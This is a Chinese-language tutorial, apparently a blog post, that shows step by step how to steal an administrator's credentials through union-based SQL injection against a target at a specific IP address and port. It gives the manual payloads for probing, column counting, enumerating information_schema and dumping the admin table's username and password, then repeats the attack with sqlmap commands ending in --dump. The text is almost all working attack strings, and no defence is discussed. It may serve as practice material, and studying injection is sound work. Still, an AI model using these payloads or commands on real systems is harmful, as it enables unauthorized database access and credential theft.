通过SQL注入拿到管理员密码
1.目标URL:http://59.63.200.79:8003/?id=1

第一步判断是否存在SQL注入漏洞。
构造 ?id=1 and 1=1 ,回车

这里 %20 代表空格的意思。
页面正常,继续构造 ?id=1 and 1=2

页面不正常,则可以推断该页面存在SQL注入漏洞。
第二步判断字段数
构造?id=1 and 1=1 order by 1 ,回车

页面正常 ,
继续构造 ?id=1 and 1=1 order by 2 ,回车

页面正常,
继续构造 ?id=1 and 1=1 order by 3 ,回车

返回的页面不正常,判断出字段数应该是2。
第三步 判断回显位置
构造 ?id=1 and 1=2 union select 1,2

返回的页面中出现了2,那么我们可以在2处得到我们想得到的内容。
第四步 查询相关内容
查询当前数据库名
构造URL: ?id=1 and 1=2 union select database() ,回车

查询当前数据库版本
构造URL:?id=1 and 1=2 union select 1,version() ,回车

查询当前数据库 表名
构造URL: ?id=1 and 1=2 union select 1,table_name from information_schema.tables
where table_schema = database() limit 0,1 ,回车

绝大多数情况下,管理员的账户密码都在admin表里面。
查询字段名
构造?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 0,1

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 1,1

构造:?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 2,1

可以看出admin表里面一共有 id,username,password三个字段。
查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1

构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1

至此,得到管理员的账户和密码。
不过通过手工的方式进行注入确实可以加深我们对原理的了解,不是单纯的“脚本小子”,不过在实际应用中我们可以借助工具进行快速的注入。
工具SQLMAP
1.SQLMAP
2.Python2.7
SQLMAP下载地址:http://sqlmap.org/
我这里用linux环境演示,解压后,进入文件夹内,执行 python sqlmap.py 即可。

根据目标URL:http://59.63.200.79:8003/?id=1
执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 –batch

根据返回的结果,我们可以发现存在注入点。
获取全部数据库
执行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --dbs –batch

获取当前的数据库:
执行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --current-db --batch

获取当前数据库里所有的表:
执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe --tables
–batch

获取表的字段:
执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
--columns –batch

Dump字段内容
执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
-C"password,username" --dump --batch

至此,得到管理员账户和密码。

浙公网安备 33010602011771号